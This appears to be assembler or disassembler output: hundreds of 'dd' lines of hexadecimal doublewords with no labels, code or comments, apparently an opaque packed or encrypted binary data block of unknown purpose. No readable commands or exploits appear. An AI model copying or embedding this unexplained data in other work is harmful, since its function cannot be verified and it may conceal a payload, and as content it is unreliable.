		dd 34F0BC59h, 0AF6AF65Ch, 0C956410Eh, 0F5BE29CAh, 0B1803992h
		dd 301D2BE2h, 3C42DEA8h, 48F5695Fh, 5F520807h, 0E5A4DF21h
		dd 2E5256DEh, 3882A201h, 0AD4150EDh, 5E01A880h,	3A5A70F7h
		dd 0FBFD440h, 45B84FA4h, 0F304DA44h, 402579AAh,	5A26CEB3h
		dd 0ED994410h, 81C31E5Ch, 0AC70A9EBh, 0F5F927C4h, 4B1A810h
		dd 0CEE685Ch, 19C466B8h, 2A658861h, 6363C9F2h, 0AA7D3446h
		dd 65FAE21Eh, 0AAB88E3Fh, 0E962C601h, 4E8A78A7h, 8B0292EDh
		dd 59638420h, 6197D05Ah, 0F105085Eh, 0ABC42A7h,	448E5C49h
		dd 6CADE85Fh, 7F3E08C6h, 0C4DFE22Eh, 0A0F4C2A1h, 57260909h
		dd 7018041Ch, 0B70B8B3Dh, 0C39096C4h, 0B340985Fh, 4B7F4FA7h
		dd 35E60581h, 0F1407421h, 1D665081h, 7C16BA17h,	98A9CDE9h
		dd 98F30C27h, 0D5685682h, 9FE7CD49h, 0D301D2E9h, 0B481DDE6h
		dd 7109716Ah, 86C13A72h, 43E8CB04h, 0C1D4BAB8h,	0D54BDC58h
		dd 60C07B75h, 20DB6E02h, 0E97889C6h, 0CBFCEC92h, 0B064220Ah
		dd 3205B468h, 0C1058048h, 27EB06DAh, 5B8569B2h,	0A9289152h
		dd 0C6203A19h, 0B1246F89h, 0B354086Fh, 0E45DD82Fh, 4F16F4A5h
		dd 0C341EC8Ah, 0D104E4B6h, 0C26BF028h, 3AFB6C22h, 2FDA0580h
		dd 140171F6h, 8BD55F0h,	0E9E82902h, 4756978Dh, 57E5664Eh
		dd 0E3EF4EB6h, 5F3B9FEAh, 0E9C390F3h, 0A31C7082h, 2DFEF731h
		dd 0FA3F6C34h, 0FC50FE57h, 23AB24B8h, 2444042Dh, 24C2BC02h
		dd 0C219325Ah, 5FC5F1Ch, 260A6712h, 5652F3D0h, 162CBED0h
		dd 9873E91Bh, 315DB0A7h, 6C44B7CFh, 0D808BAD2h,	0E0C103EDh
		dd 90E20502h, 8D897042h, 7427137Eh, 6857508Eh, 275B3920h
		dd 8C00A6E9h, 186164BBh, 1AE46B50h, 0B047E600h,	0B67C0E05h
		dd 4FE92D0Ch, 0D1774F7Ah, 15F2F52Ch, 2D86FE2h, 0DFC1095Bh
		dd 3FC52B39h, 12068EAEh, 30BB42CFh, 0A15A6346h,	245C486Eh
		dd 9AA48015h, 329F9C86h, 0B7BB1C6Ah, 70C97AFAh,	0E48D755Ch
		dd 0FF96F6B5h, 436D169h, 0EE442E68h, 1C57CED8h,	5647CFBFh
		dd 0F43BD4Eh, 0F202167Ah, 0D40D20AEh, 6D606563h, 1176AE0Ch
		dd 1462B594h, 1929A66Dh, 27EFE408h, 0D89F8C70h,	0B879429h
		dd 2C07452Fh, 890B3831h, 794200E3h, 21CAF4Ah, 0E0D1D0F7h
		dd 4E5638E9h, 0C2E71A27h, 25D2F6EDh, 42A4D5F3h,	95569E12h
		dd 0FD032DAFh, 4ACF2CC6h, 504C42F8h, 24FDE9E1h,	0EA5F81DEh
		dd 0D1B247D7h, 629356C5h, 0D8096F65h, 916816E4h, 0AD3ED277h
		dd 12B05000h, 34DA0324h, 58C208D3h, 28491412h, 0FF93130Ch
		dd 268125Bh, 2BBE30Eh, 28A46309h, 78D3805Eh, 177BF34Bh
		dd 0AE6AFBE9h, 5B6D5631h, 0A6BE1C50h, 6A713017h, 0F5031336h
		dd 0E0D264Ch, 0D6CF4DB5h, 18AD49BBh, 79C32890h,	8CC9B416h
		dd 3D62DD01h, 89312B90h, 7A84A53Fh, 5B6F83F0h, 387D9DA5h
		dd 6028B2EAh, 80FD413Eh, 70BF5B58h, 0C1664FF2h,	27AD82B1h
		dd 681E169Fh, 4A596523h, 3FCBACAEh, 0C026130Bh,	801C74BBh
		dd 5A5F2FC3h, 0FB010312h, 60081D10h, 0C11B7AD0h, 9FCA9729h
		dd 5F580800h, 4E542868h, 6B4051D4h, 8CED2D80h, 0B824805Eh
		dd 0E39EC025h, 4F10956Eh, 7F5A1E68h, 64B17F31h,	30EAB600h
		dd 3C58E635h, 271A7B3h,	688F2CFCh, 1EA10FEFh, 702BB450h
		dd 0F9D7A020h, 8858CBA9h, 0E2B61913h, 1EE19E60h, 5A4E20B2h
		dd 0FDC28F04h, 2A818DBAh, 3164C1Fh, 791EFD52h, 5A653EEEh
		dd 6066ABA4h, 68523B92h, 0E6314180h, 0A7BFC02h,	5BD83380h
		dd 2E0399B9h, 37B0AC4Ah, 62924F37h, 0AED0389Dh,	53AA6816h
		dd 1243688Ch, 0C38FB7Bh, 310D41FCh, 0C780D55Fh,	4A33781Eh
		dd 42BB56Eh, 0FCD8EF08h, 0B8E640B4h, 5D52A9B5h,	8975E08h
		dd 8101C8C0h, 9635C1F7h, 4B577370h, 33FCE4A9h, 0D2F8CF5Ah
		dd 2D8E51CAh, 0D401C48Eh, 4501C480h, 83D1F2FAh,	13D283E9h
		dd 0D9795FDBh, 0A64A4004h, 89B0984Ch, 7CE9D713h, 24A8D853h
		dd 0FE104748h, 0E3C10D8Dh, 0D2960606h, 0EE73F479h, 0E7020F0Bh
		dd 0F58A803Eh, 0B4CC2DD5h, 18C5276Dh, 9E4D12Dh,	0F5F1DFAEh
		dd 9947B27h, 31FF72F3h,	59654726h, 20A86D3Fh, 39D2A45Ch
		dd 91F16FAh, 1C7F5E98h,	0FBD897D5h, 2CBFAB2Dh, 9D87223Eh
		dd 0B769EC10h, 16FBB180h, 85BF930h, 0D8259E6Eh,	0A25D697Ch
		dd 4142A3D1h, 898F9057h, 35E53D6Ah, 0B40C3696h,	0E2F03C51h
		dd 0EA277A60h, 12603A71h, 0B8D73123h, 246A00F2h, 0BE564F53h
		dd 0C53E1273h, 0E9A4C163h, 0B133806h, 5507F480h, 0CEC4A90Eh
		dd 0A951D10Ah, 7E169D6h, 0F3280FEBh, 9C5CC357h,	205F9BA5h
		dd 0CE6932F2h, 0BACCFDD7h, 0D8259396h, 0A3585B43h, 75E90D13h
		dd 0DDEEBF5Dh, 0EDB2C3EBh, 5B23A555h, 2F5766F0h, 0AA12441h
		dd 0CAC46ED4h, 16120D7Dh, 0E4A3C202h, 46C65F18h, 6B7080C5h
		dd 15795931h, 8A3E261Ah
		dd 0E9AD638Eh, 728C65Eh, 0F28044B2h, 83FF0BCAh,	488AA550h
		dd 4806CE63h, 0AE30F339h, 77E1A702h, 7AACE90Ah,	5DC30A0Dh
		dd 27B80470h, 0A802CD5Eh, 57F6DA9Bh, 2C293441h,	54733E45h
		dd 7F78E1C3h, 0E0042A4Bh, 0C780D328h, 97135968h, 0EEAB6919h
		dd 0D9879100h, 321F9253h, 5B0BD2F7h, 0CF42B3FCh, 10209B0h
		dd 0BE590A0Dh, 9FB0488h, 0C489B151h, 5380495Eh,	800826BBh
		dd 70436414h, 0DD46BDE3h, 72EBEE96h, 3768727Dh,	0BF3C0F5Ch
		dd 0DDA292C8h, 838227FEh, 0ED1CC02Dh, 0F6D86DEEh, 0B961A760h
		dd 0CFB38429h, 0B983BF88h, 0A953783Eh, 2BADA4C1h, 29B45202h
		dd 16B1060Bh, 0B7CAC10Ah, 0CC69F180h, 282D0AEFh, 9396E1CFh
		dd 4CDE2C2Ch, 0F6D7744Eh, 710C9909h, 0BCC3542Ah, 9CD72498h
		dd 27C0C51Fh, 8D0464F2h, 28E29536h, 1A234C80h, 0C9FE396Ah
		dd 314C4F00h, 48E9494Eh, 0FD36D399h, 0DF2D4FC7h, 17E6D730h
		dd 0AC2CC855h, 0B0EF10B1h, 39105837h, 665970DEh, 0BB00217Bh
		dd 0D89404D3h, 68C2E8ACh, 0F6B06511h, 2881ADDDh, 0A594816Ah
		dd 0C1276F9Fh, 0A9CA2382h, 787E89D5h, 2CF007D0h, 0A0813CD7h
		dd 1D377E8Fh, 24188FA0h, 0DE1B322Dh, 2E99C63h, 21C1E091h
		dd 7576487Dh, 4A032257h, 0A7DBB280h, 0EA414326h, 762F9DAEh
		dd 0D3E9E214h, 5D5A4348h, 5CDA8BBDh, 0E616BFEDh, 2B3DD0E4h
		dd 1E6227Fh, 0FE203490h, 0E9314F9Dh, 37258096h,	0EA79AF32h
		dd 9F4098D0h, 2D16140Bh, 10AB1852h, 0B9015486h,	5D92059h
		dd 0E2A07A21h, 40149EAh, 5D275608h, 0E0DAE98Bh,	4A5B686Bh
		dd 5EA68C14h, 0F607EE41h, 39653F40h, 56D092Dh, 90042E72h
		dd 7F580969h, 39CEC14h,	4F080965h, 0D5D3A737h, 0A968530Fh
		dd 0C8139B06h, 0A888A4B3h, 0BFED79EFh, 4690B1C6h, 5671E99Eh
		dd 210A22Eh, 5D4C14BAh,	8721FF41h, 31137B96h, 0C9196E5Eh
		dd 41809D2Eh, 0B0E5F581h, 0C29D7411h, 0A3C54DFh, 16F84750h
		dd 8B310F2h, 0DB11E90Bh, 7BF135C8h, 236B12Fh, 57E8C14Bh
		dd 4B8BCDC0h, 0C5189F24h, 79EB08h, 0E20C88B8h, 0DDF64802h
		dd 0C14F28F5h, 5E7379B6h, 1F49462Ah, 0E67721D4h, 74DFD627h
		dd 243C5111h, 0D048F7BCh, 20E42541h, 410102B5h,	89F2972Bh
		dd 41EDD0CFh, 858FE947h, 5FBB2881h, 3033A058h, 0D898F4FAh
		dd 8BAC6B5Eh, 4981E13h,	1118BBBDh, 82BD4AE7h, 29535110h
		dd 0F627ACBEh, 0F77EA7F8h, 3EF1BCA2h, 27E90AB4h, 8879A9E7h
		dd 459AAD8Ch, 0B965137Bh, 4BFFF86Ch, 0D94A00E8h, 616D886h
		dd 4ADCFE3Dh, 854290B6h, 0F942BC27h, 5E257656h,	4058DA49h
		dd 404D8B59h, 94B552CFh, 0AE3020F1h, 8EA5F50h, 9395DC98h
		dd 8483FDE4h, 0B52CCB80h, 0B8AEB4C1h, 1BA9BD00h, 0B6765Ch
		dd 9D5694C5h, 0BE77E914h, 0FD5E13BAh, 0C468A046h, 95CC9566h
		dd 5A648980h, 6021BB04h, 4EF7D1Ah, 92BAB518h, 74C1E50Fh
		dd 33966293h, 4B5D8B59h, 0C4F9A35Fh, 4DE8B7E9h,	59EA3002h
		dd 11F8D388h, 9EDBC44h,	275544D0h, 1FA2910Eh, 0C2551CABh
		dd 251D7E23h, 96BD0553h, 3AB85244h, 0A95862C6h,	7420E77Fh
		dd 8B29C96h, 2E27A2ADh,	6CC6887Eh, 4E94A662h, 606812B0h
		dd 67582A13h, 38D40BA3h, 6A80CD3Fh, 647453FEh, 30261580h
		dd 480C0CF0h, 30404472h, 0AB1318FBh, 2CEECE0Ah,	400F9D25h
		dd 5EFAE9C3h, 1F0521FDh, 0B0C4EB68h, 719F5C32h,	2A236098h
		dd 0D3A065D0h, 442C5C47h, 0BC003850h, 6814B753h, 30215BC5h
		dd 490EB4FDh, 0D8F74C00h, 0AE66630Dh, 6B45982Ah, 1857FB3Fh
		dd 0BD16C58Bh, 664A5266h, 5191B021h, 4A522D00h,	0C0BCBF5Eh
		dd 80070528h, 171EED90h, 0A838D814h, 0CBF93FBAh, 0EC4B5EE7h
		dd 205CF163h, 0CA58DC32h, 0C90EFD5Ah, 0EC72805Dh, 2BB477h
		dd 518FE381h, 45E93593h, 0FC034Ah, 0F11365A5h, 800839FFh
		dd 0EB194DEEh, 0FE01281Bh, 5F0880EFh, 18262FE9h, 22691021h
		dd 0CA60C61Ah, 95040C59h, 662EE97Ch, 94976804h,	0C7E6ABEDh
		dd 0B85A7B4Ch, 77ED4F37h, 7C44EAF4h, 12B9F92Fh,	0CF315405h
		dd 8102EA7Ch, 7086701Dh, 0EA4527DFh, 9A205ED3h,	49219440h
		dd 9D77C4EEh, 0F4AF0B59h, 0C2123053h, 615CA37Dh, 2F030BC4h
		dd 0E9558050h, 0FF739209h, 0C2A1DDD7h, 0ECB1B43Eh, 29C30597h
		dd 862AADB8h, 7347908Eh, 40C901B7h, 0E1C0D1F6h,	30F1ED05h
		dd 97B90Bh, 335ABD8Bh, 50234C6Ah, 2289DF3Dh, 0EA2201F8h
		dd 0F6A95796h, 0B1021A25h, 0EC1C25FAh, 6CCFA31h, 0FFE90DD7h
		dd 0A64B523Ch, 0E9DF2C5Eh, 968668Ch, 442C5F81h,	0AAF3A44Dh
		dd 11471CEh, 0D004F2FBh, 0F8024373h, 0E9500484h, 4BC8A436h
		dd 0B8561EC1h, 0ADC7D277h, 745752B6h, 0E03B5041h, 6801D92Dh
		dd 11BE4D9Bh, 0E430B272h, 99E974DEh, 490B02D7h,	0A6042E5h
		dd 9D2F228Ah, 2867A10h,	18D36DDBh, 43EAA1E9h, 9BD79203h
		dd 0DAB58B7Ch, 0BA39F6BAh, 0C0476FE4h, 81CF4685h, 2BA61C7Bh
		dd 7152FB61h, 0F006E507h, 0DCED0150h, 9D9B9850h, 5586880Bh
		dd 0E906A1Ch, 0EAC0BB8Ah, 0E6074AB8h, 3E2C14Eh,	0E705EA33h
		dd 0B53E9930h, 224C111h, 856C2539h, 17B0C618h, 0AAE1C40Ah
		dd 5309B4ACh, 4F217C0Dh, 95E76FC5h, 0B1EA080h, 6E207C41h
		dd 0EFD03D9Ch, 0E78B9E25h, 385EEBCAh, 7A25EF6Ah, 6CE913DAh
		dd 0FE3E20F6h, 2B3BBC3Bh, 0B814801h, 20435AA4h,	0F0166AF9h
		dd 1BE39D6Fh, 5848FFFBh, 0A80E781Fh, 0C17A5B05h, 0D6F43F1h
		dd 51660B6Eh, 4FC3A39Bh, 0C0E8814Ah, 5A2522Ah, 9704D028h
		dd 0AED8FE66h, 51CD09B3h, 94046BB1h, 15C5C262h,	89947F5h
		dd 2947B850h, 0D8BF58C4h, 4F256897h, 5AA23109h,	7933B32Ah
		dd 1B172A5Ah, 7AB9FFB8h, 0D6BB8C4Bh, 3AAF7035h,	5B19918Ah
		dd 5E172367h, 8550AB05h, 0B0912CEAh, 13EC5964h,	66088F8Bh
		dd 4CB1FB4h, 0BC108275h, 0E0298D71h, 1F3F260h, 0A62D8023h
		dd 6AA783E9h, 0CC404431h, 0C0852A6Dh, 0D6FAE8EBh, 0EE680E20h
		dd 545DA913h, 1363B33Fh, 1F528FE9h, 0ABE1A4A8h,	61AB05FEh
		dd 0F95158BBh, 1D813C23h, 0CACBD031h, 3DD49C9h,	8D2E802Ah
		dd 5C67C574h, 0B7F2160Ch, 0E0625D96h, 0C1223C72h, 685302D0h
		dd 48A31992h, 0D16153DCh, 3C9C1EBh, 14687D60h, 8F3F163Eh
		dd 663B1E04h, 9BC5EB14h, 60EA44AEh, 77114D6h, 8DAB8236h
		dd 804956C9h, 0BA022C2Dh, 0C8000109h, 4E9C6856h, 305E7665h
		dd 0C666E6C1h, 331D45BEh, 0E1D2E907h, 0F71C02F3h, 1DA92D2h
		dd 818F3250h, 3FC22BE5h, 0E9E97ABCh, 489C72D8h,	2E003517h
		dd 0E90B09B3h, 26B273BBh, 761AFA60h, 5A48853Fh,	0BAEC345Fh
		dd 9AA32E88h, 8DD19559h, 5FB50162h, 0E5898330h,	98206FB8h
		dd 575E61A0h, 0F1C3315Ch, 0B77F834Bh, 0CF612C37h, 52BB4FD4h
		dd 6C9AAB60h, 0FC0E4875h, 9B84E18Fh, 28E2A7C8h,	0E128952h
		dd 35041257h, 0BA8058C2h, 0B7EDA8F6h, 0EB5A7204h, 0DAB6C327h
		dd 0A18EB544h, 32EC1462h, 0A1122600h, 793EC060h, 0E9B82A67h
		dd 4E74B125h, 0F1E59761h, 0FE609382h, 98B44347h, 1603F81Bh
		dd 43DBF74Bh, 0F9BA2952h, 82F789F2h, 9BFF660h, 8064B500h
		dd 0D5A166EFh, 7DBC05A4h, 5E9B00D6h, 122EF4Eh, 81304EDh
		dd 627E550Bh, 61E27151h, 517A4068h, 5CA80A6h, 0ECA11Bh
		dd 0F5685516h, 5D20D243h, 0D0F79507h, 0E826C531h, 6DBAC008h
		dd 217DA873h, 0AFFFA092h, 0D1400B6h, 59E96D23h,	5E7A5513h
		dd 0D0D5A801h, 0F98E20FFh
		dd 2F4CF12Ah, 2569FB4h,	33551ABEh, 0A3F02968h, 384CEF5Ah
		dd 21D20FDh, 0E97F711Ch, 0A0DEB01Fh, 5ED6188h, 0F1BCF480h
		dd 6435EDE9h, 57EE5F02h, 0C5D48150h, 565B22FAh,	0C8105DB2h
		dd 0E2055099h, 0BF614B5Eh, 8100EF90h, 3A182BCFh, 0FB96071Bh
		dd 57DF277Fh, 0DC096C56h, 7881A9B9h, 257FB08Eh,	0EE59120Eh
		dd 8869AEE6h, 6F5550CDh, 72C49358h, 278CBF10h, 0A883D419h
		dd 50D2672Ah, 1430865Ch, 0C9729A0Bh, 1C684812h,	0B6D5E82Ch
		dd 3854A15h, 2E1A2999h,	1CF02804h, 0F8C010B4h, 0F9843FCEh
		dd 30206931h, 33504A56h, 1148CE38h, 0A3F301A0h,	89BC49F4h
		dd 6B54B47Fh, 0FCE9DA0Eh, 22587121h, 0A70A1A84h, 0E281020Eh
		dd 0F41F5F06h, 1D13384Fh, 3A2E040Ah, 6128E711h,	872D56B8h
		dd 0A8E8C370h, 1030582h, 0D4B8F2Eh, 0D5C54973h,	0CDDBD435h
		dd 24A15B4Ah, 290267D1h, 43BC2758h, 0A9C5F9Fh, 94B564E7h
		dd 5C5E5606h, 0E2B465A1h, 0AD4D8003h, 0DD4B48BEh, 2DEF6D84h
		dd 9B0282Bh, 0DC5233E9h, 3129EB5Eh, 8AD900DDh, 0B561733Bh
		dd 6AC02650h, 0AA4EB3E1h, 2073B816h, 514BA575h,	914A48CBh
		dd 7B3BFC3h, 0A4AED5Fh,	0A9B1AC2Bh, 0B8D02245h,	0B7CFB5E9h
		dd 0AF823419h, 92C8FC2Fh, 8E01FE08h, 15293BC4h,	80AD4D20h
		dd 1F15B168h, 0C6F85154h, 5819B5F7h, 1A133E2Dh,	4080A816h
		dd 23B15F07h, 0A17120BAh, 2CECAE8h, 4A7FEB81h, 5EA177F4h
		dd 0DE204BFCh, 7820578h, 1677D362h, 492FA289h, 8E6E56ABh
		dd 307C62E4h, 5D94759Ah, 6D5BE4F8h, 381F8641h, 0F03A3613h
		dd 1FF719Fh, 14C8CA88h,	655A4E87h, 0A82BEF7Ch, 0C464BD4Bh
		dd 0AC0049A2h, 2B685266h, 40A3014Eh, 83B5511Dh,	0D3F6DD86h
		dd 59B0085Fh, 38B05C50h, 13E6F410h, 35BE6668h, 0B90AE800h
		dd 8384ED60h, 15F7EAFAh, 64C20C64h, 5276E52Fh, 0AAE721E1h
		dd 0C0A0249Ch, 5E39AFEEh, 0D05F24BFh, 584A6804h, 0BD195EA3h
		dd 89C39305h, 0F053C444h, 844E5A1h, 0DF9D8B82h,	0FBFE2B1Eh
		dd 0E3CAD05Fh, 918DE985h, 0C0FAB8A6h, 0D1002ACAh, 22442DE8h
		dd 1055FE3h, 279E16E5h,	6FD768E9h, 9A6A645h, 0CF7021BBh
		dd 0B86F8248h, 0DDA717BEh, 6401386h, 3005251Ch,	7354704h
		dd 0A2C9E6C7h, 0FC76564Dh, 0C3474F21h, 0AA7FB455h, 5F9E4116h
		dd 29F7E91Ah, 8918087Bh, 0BEB298Dh, 7488685Dh, 164E1FCh
		dd 20FE0952h, 4A39D164h, 0F86D2F52h, 5878C1D7h,	397FEC2Fh
		dd 180900C5h, 0B8E91283h, 282B16Dh, 4D266E10h, 7CE09A41h
		dd 584097BFh, 693FDCEEh, 2D9ABE91h, 574B6046h, 0F1C2CC24h
		dd 1514676h, 77355B58h,	0E98DD4EDh, 8BDFE6C1h, 3CB0645Dh
		dd 54AE910h, 826EBA6Dh,	0C85D2424h, 2F739273h, 0F42F0BE5h
		dd 490C44CAh, 47F2F682h, 0D7F76601h, 6B3C87CDh,	4AEA9641h
		dd 55082B6Fh, 0DD62C21Ah, 59908E71h, 57C7E986h,	17D3DB9Fh
		dd 2AC50454h, 6BF17C6h,	0E87A791h, 60DDB912h, 4FBF216h
		dd 0C19F0A52h, 4E4F838h, 87D1C1AEh, 0C45D7834h,	65C8EA84h
		dd 831D0516h, 0ABDEF74Ch, 0E8F6A400h, 97B37CE2h, 0D5E57DE2h
		dd 1D91588h, 763A4ABEh,	0F3B47145h, 23466492h, 0F94707A1h
		dd 776935Fh, 0EF5F50BAh, 7D73A90Fh, 4BEA0C58h, 1053313h
		dd 89D10AFh, 25140C68h,	0D65B9F1Bh, 9AA57FB9h, 0AF182A96h
		dd 36194A90h, 0D5E20323h, 0B5BDB2F4h, 61897DE9h, 2D4BCB62h
		dd 27081CAAh, 0A851A104h, 0B252A01Bh, 0AAB702A3h, 77E9D728h
		dd 60B5D878h, 9CE81EDCh, 85E6A6Ah, 0B40E5EE6h, 0EDDEE48Fh
		dd 2F1C3DB9h, 812E8041h, 6727AAE3h, 7903314Fh, 54CA026h
		dd 0A95B780Ch, 55B3F002h, 7E093A2Dh, 0F15427F4h, 54E9CAC1h
		dd 2D03B138h, 0A9722027h, 9B74C7FAh, 9B751E1Fh,	28C681BEh
		dd 0FE4820CEh, 0E950C609h, 683AC0A0h, 6554C2Ch,	455F59C9h
		dd 0E2E985FAh, 0D572A4EEh, 1C5C9640h, 0CD2FC380h, 606A9CEBh
		dd 0F54EC70Ah, 0F5B27E4h, 16B75366h, 88AB6A84h,	5D12D94Dh
		dd 11033D6Ch, 0B04D629Ch, 0A9B894E9h, 2DDCDAAFh, 9E5081DDh
		dd 0DB030E32h, 0F1EED10Ah, 0FCFBA18Fh, 0A0DF1A94h, 0A190E913h
		dd 0ADD2A4Bh, 0BC4C3F7h, 0A0F7801Ah, 0FA9588DDh, 0D005B61Ch
		dd 13AB34E9h, 0B42DAB21h, 0A23EA22Ah, 5CFFA465h, 0F2BB13AAh
		dd 2EE985C7h, 30BFCBD5h, 0E14E6553h, 5CC4385Ah,	0E97D0718h
		dd 33D0690Eh, 6FFCC80Bh, 0B85B8011h, 402A78EBh,	6CF07977h
		dd 58C9CE60h, 0F45EC180h, 8E969Bh, 61E96BDh, 0F5038140h
		dd 34596ECDh, 0D1F7A987h, 2DE08A6h, 31E34E23h, 0B136C681h
		dd 50E9D0A4h, 6E45B561h, 843BE830h, 0D8C0C07Ah,	94AD060h
		dd 4D5D0885h, 5FE9F982h, 0E210570Eh, 4F09E181h,	4244D53Ah
		dd 0A82FD21h, 31C012A1h, 72B6CB89h, 0A8D2B558h,	0E162C3DDh
		dd 690766CDh, 570E89F7h, 0F99FAD16h, 955C444Fh,	0E932BB21h
		dd 31FD2902h, 616BB969h, 0DAB4680Ah, 0AB6AB8D4h, 4A8DC43Dh
		dd 4E63B622h, 0B5D3C82h, 0A2498E57h, 5529F204h,	14EF3A85h
		dd 0E9B02B08h, 0EFC6867Bh, 4006B8C9h, 0E7A3DE98h, 0EF7CE988h
		dd 4814580h, 324F61CDh,	0A72A807h, 0A76E0B64h, 0B1D4231Eh
		dd 0E4E2038Bh, 3E15802Ah, 0F167B0Ch, 93460A2Fh,	28D241ACh
		dd 5F97D7EBh, 0CB78BAA9h, 9D896A99h, 88C95187h,	76357A94h
		dd 0C24194AFh, 0A156A6C7h, 0F020FF52h, 712787B9h, 0C232407Ah
		dd 0DC55634Eh, 7E6B1F16h, 0C463210h, 415D4A68h,	576A60A5h
		dd 744307C3h, 1002E1B4h, 41342Ch, 1248149Eh, 0E129593Eh
		dd 3540702Bh, 26C68643h, 0B64E48h, 317F03A1h, 20FDD301h
		dd 86B6A5A8h, 545C6861h, 84E0F74Dh, 0D4C79742h,	0FCC1CB4Eh
		dd 3F55593Fh, 5D81C591h, 0BEFD077Eh, 0F202AEC0h, 0E740EE01h
		dd 29804BAAh, 932D5BD8h, 565F5B5Bh, 0E915FCEDh,	0BE0089EEh
		dd 46853C25h, 1F022DBAh, 0F2314CCDh, 22E2F55Eh,	48C2C05Dh
		dd 0E1E9160Ah, 0DC6CAB74h, 984A25E9h, 76967E8h,	0BF437902h
		dd 0F88E05E5h, 0BC5A4BF6h, 30A7484Bh, 9E24F69h,	73162678h
		dd 68050189h, 644A3688h, 77C02D26h, 614153BBh, 0F8DBF835h
		dd 41766128h, 0FD5CCFE1h, 85912E31h, 0BA009EB1h, 17737215h
		dd 5A48D1FCh, 161F01A5h, 0CF0125F8h, 59080904h,	5F5333FEh
		dd 4095EDC8h, 2610A7FDh, 11512BE2h, 525A0800h, 0FB6D5468h
		dd 0A1C64DE9h, 0F355E84Eh, 0F0300F55h, 5A45764Eh, 216281F7h
		dd 0B38003A7h, 0A0074A01h, 9C621DA3h, 0F5C4EB1Bh, 21B2CCAEh
		dd 2E44E939h, 12B29184h, 0E9F528E0h, 0B2D8F12Ch, 0F431D240h
		dd 0CE81036Bh, 57FB0E09h, 7333B23Dh, 0F74E380Ch, 20F12D6h
		dd 0E9B8C5ABh, 0D645BDE8h, 6EAA6804h, 65207E8Dh, 0B7975E8Dh
		dd 0B8ADC485h, 0ECDEF704h, 254CDFE2h, 0CBADBC6h, 293E30CBh
		dd 0DFCB03BCh, 0A0B6D2EBh, 2D5A508Fh, 1FC2105Fh, 0D2B1CCD5h
		dd 0D945BE2Ch, 0E5D31AE9h, 0A111B268h, 2AE5B959h, 0C981E640h
		dd 7B090246h, 0ABB6E947h, 16CA81D9h, 50FDD293h,	0F41E810h
		dd 4F8C680h, 8CAA4895h,	0E546890Bh, 81CDE916h, 0F7D929F7h
		dd 6C35F0C7h, 0B4C15B1Eh, 126713AAh, 3B21CBFDh,	1D8B0804h
		dd 4625683Ch, 3657D798h, 623AA325h, 0CDA1757Fh,	2F7EC4E9h
		dd 9D0088C9h, 166309C8h, 0ECD9F70Ah, 1CEA7BB5h,	585AAB90h
		dd 0C78E5837h, 0F7938708h, 5B087ED5h, 0BD7A004Dh, 0BA42890h
		dd 0EAFA7A95h, 550A204Ch, 315ABA01h, 78EFE917h,	14648404h
		dd 5325EAD5h, 0F0F91CE3h
		dd 0CC523ED7h, 0F63B67A1h, 68AB2513h, 0B54132D2h, 5C97B0DBh
		dd 351258FCh, 0EBC3346Ah, 0E5B7D9C4h, 0E499E746h, 0A884CB02h
		dd 90B25B20h, 0BAD6AE92h, 63539D0Eh, 6CCB8AC2h,	0F2D4CB08h
		dd 948F8730h, 8DC2FF82h, 9E1AC37Fh, 43FB2FC6h, 40BB2723h
		dd 0CBB70C4Fh, 9132126h, 3BD7B3A4h, 50482789h, 0E65900FEh
		dd 0B77E47F4h, 0A52EB2F2h, 0D6AF846Fh, 79FF532Fh, 546897E0h
		dd 61BC365Ah, 8A11B2F4h, 0B2278D50h, 14265B95h,	0BB96AD50h
		dd 0D3BFB665h, 0F57B4190h, 78EB0C4Bh, 0C4EE926h, 6FBB2E00h
		dd 7B69DC1Ch, 0B63E5D55h, 4E0E0503h, 94A87856h,	1B58506Dh
		dd 34A44F8Ch, 6A35F9E9h, 4AD7AA20h, 0AFB73484h,	0B6679Ch
		dd 80E7B707h, 0F72841EFh, 5AEAC7EAh, 305112C1h,	52205BF8h
		dd 0DBA98373h, 5A3D393Fh, 789AFCFCh, 0E504C7C4h, 37D23C95h
		dd 0A8ACC4BBh, 3F81D69Dh, 4F91D034h, 0C2045BB4h, 8E0077F3h
		dd 0E9726D53h, 0F15C6E2Fh, 0E85E4B7Ah, 6804B9E8h, 8EAA4DE1h
		dd 7DA54E85h, 8422A92Fh, 991FA64h, 6F736657h, 73E93D62h
		dd 0BF3B8DF0h, 3A33161Ch, 0F101DA09h, 0B8472F56h, 59DF100Ch
		dd 0B71C1380h, 523B818h, 37347D11h, 39E9DC80h, 0B248977Ch
		dd 7C93D723h, 35325BDh,	0B9E88871h, 0E80CD5Bh, 0F9685051h
		dd 7A00D022h, 0BF202D58h, 90895F11h, 49622DF9h,	561369F2h
		dd 0B22D5E51h, 819FE82Ah, 19516897h, 112323Bh, 0B0B7E921h
		dd 5E4E383Ah, 0E92D19B8h, 5F6D89C2h, 553C84B0h,	5AC62982h
		dd 95E120F8h, 660E65F4h, 0E89B353h, 2FAD7D8h, 5A3FE9D8h
		dd 3A3CE5F5h, 333EE1C5h, 4BF25BA3h, 80199134h, 0F94930F1h
		dd 341372Ch, 2A406804h,	7F4363EBh, 0F931BAE5h, 3A48FD93h
		dd 4E93BD58h, 3E0E02ABh, 1759CE88h, 2C1288B6h, 408F04CDh
		dd 0C30101E8h, 467B0B89h, 99EBF648h, 583BEA07h,	7B27DC4h
		dd 43567ECDh, 0F3F80F0h, 0D15510FDh, 0BA88FA74h, 8C584F6Eh
		dd 0E5B7290Eh, 1CD5A575h, 4726974Dh, 5D5C8B10h,	66AF0FA6h
		dd 5798BA76h, 920DE44h,	0B12FFDBDh, 0D947D1BBh,	0CF81E04Fh
		dd 0CB177B3Eh, 0D71C5301h, 0B12A60E9h, 0E7F63F08h, 49F010CBh
		dd 2595B27h, 59C27DDh, 419CEA5Ah, 21B04EACh, 0CDC968E2h
		dd 875FD0B4h, 646F733h,	376E0047h, 8914AA07h, 544BE9FAh
		dd 0B6F5EC90h, 0A9A74D69h, 0DC2B8007h, 0EFEDC076h, 4E2FC27Fh
		dd 12037431h, 0ECBB04D5h, 52290BF4h, 0E00FB509h, 269F7A02h
		dd 0D0D7B1F5h, 169B182Eh, 5F2D2E59h, 40716153h,	0D020880h
		dd 364D46D1h, 1D054800h, 0E927137Bh, 95655290h,	474F7807h
		dd 0B76AB208h, 0E74CFA5Dh, 0EA835C89h, 46483D8Fh, 845B520Bh
		dd 2A88DD38h, 37E1673Ch, 0CA0AEFD8h, 230A4A2h, 0DE8B5CFDh
		dd 0BC2C5754h, 3427F804h, 0C05F0BCh, 0AB02822Bh, 68084750h
